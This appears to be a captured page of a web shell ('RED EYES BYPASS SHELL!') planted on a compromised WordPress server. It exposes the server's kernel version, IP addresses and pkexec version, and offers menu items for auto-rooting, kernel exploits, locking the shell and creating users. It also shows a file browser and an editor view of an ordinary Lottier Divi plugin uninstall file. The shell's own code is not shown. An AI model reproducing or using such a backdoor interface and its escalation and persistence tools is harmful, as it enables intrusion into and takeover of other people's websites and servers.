Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
pr /
wp-content /
plugins /
lottier-divi /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
languages
[ DIR ]
drwxr-xr-x
media
[ DIR ]
drwxr-xr-x
sass
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
src
[ DIR ]
drwxr-xr-x
styles
[ DIR ]
drwxr-xr-x
asset-manifest.json
241
B
-rwxr-xr-x
changelog.md
135
B
-rwxr-xr-x
lottier-divi.php
11.91
KB
-rwxr-xr-x
package.json
787
B
-rwxr-xr-x
uninstall.php
3.4
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : uninstall.php
<?php /** * Lottie animations in just a few clicks without writing a single line of code. * Exclusively on Envato Market: https://1.envato.market/lottierdivi * * @encoding UTF-8 * @version 1.0.1 * @copyright Copyright (C) 2018 - 2022 Merkulove ( https://merkulov.design/ ). All rights reserved. * @license Envato License https://1.envato.market/KYbje * @contributors Nemirovskiy Vitaliy (nemirovskiyvitaliy@gmail.com) * @support help@merkulov.design **/ namespace Merkulove; /** Include plugin autoloader for additional classes. */ require __DIR__ . '/src/autoload.php'; use Merkulove\LottierDivi\Helper; use Merkulove\LottierDivi\EnvatoItem; /** Exit if uninstall.php is not called by WordPress. */ if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) { header( 'Status: 403 Forbidden' ); header( 'HTTP/1.1 403 Forbidden' ); exit; } /** * SINGLETON: Class used to implement Uninstall of plugin. * * @since 1.0.0 * @author Alexandr Khmelnytsky (info@alexander.khmelnitskiy.ua) **/ final class Uninstall { /** * The one true Uninstall. * * @var Uninstall * @since 1.0.0 **/ private static $instance; /** * Sets up a new Uninstall instance. * * @since 1.0.0 * @access public **/ private function __construct() { /** Get Uninstall mode. */ $uninstall_mode = $this->get_uninstall_mode(); /** Send uninstall Action to our host. */ Helper::get_instance()->send_action( 'uninstall', 'lottier-divi', '1.0.1' ); /** Remove Plugin and Settings. */ if ( 'plugin+settings' === $uninstall_mode ) { /** Remove Plugin Settings. */ $this->remove_settings(); } } /** * Return uninstall mode. * plugin - Will remove the plugin only. Settings and Audio files will be saved. Used when updating the plugin. * plugin+settings - Will remove the plugin and settings. Audio files will be saved. As a result, all settings will be set to default values. Like after the first installation. * * @since 1.0.0 * @access public **/ public function get_uninstall_mode() { $uninstall_settings = get_option( 'mdp_lottier_divi_uninstall_settings' ); if( isset( $uninstall_settings['mdp_lottier_divi_uninstall_settings'] ) AND $uninstall_settings['mdp_lottier_divi_uninstall_settings'] ) { // Default value. $uninstall_settings = [ 'delete_plugin' => 'plugin' ]; } return $uninstall_settings['delete_plugin']; } /** * Delete Plugin Options. * * @since 1.0.0 * @access public **/ public function remove_settings() { $settings = [ 'mdp_lottier_divi_envato_id', 'mdp_lottier_divi_settings', 'mdp_lottier_divi_uninstall_settings', 'mdp_lottier_divi_send_action_install', 'envato_purchase_code_' . EnvatoItem::get_instance()->get_id() // Envato item ID. ]; foreach ( $settings as $key ) { if ( is_multisite() ) { // For Multisite. if ( get_site_option( $key ) ) { delete_site_option( $key ); } } else { if ( get_option( $key ) ) { delete_option( $key ); } } } } /** * Main Uninstall Instance. * * Insures that only one instance of Uninstall exists in memory at any one time. * * @static * @return Uninstall * @since 1.0.0 **/ public static function get_instance() { if ( ! isset( self::$instance ) && ! ( self::$instance instanceof self ) ) { self::$instance = new self; } return self::$instance; } } /** Runs on Uninstall of plugin. */ Uninstall::get_instance();
Close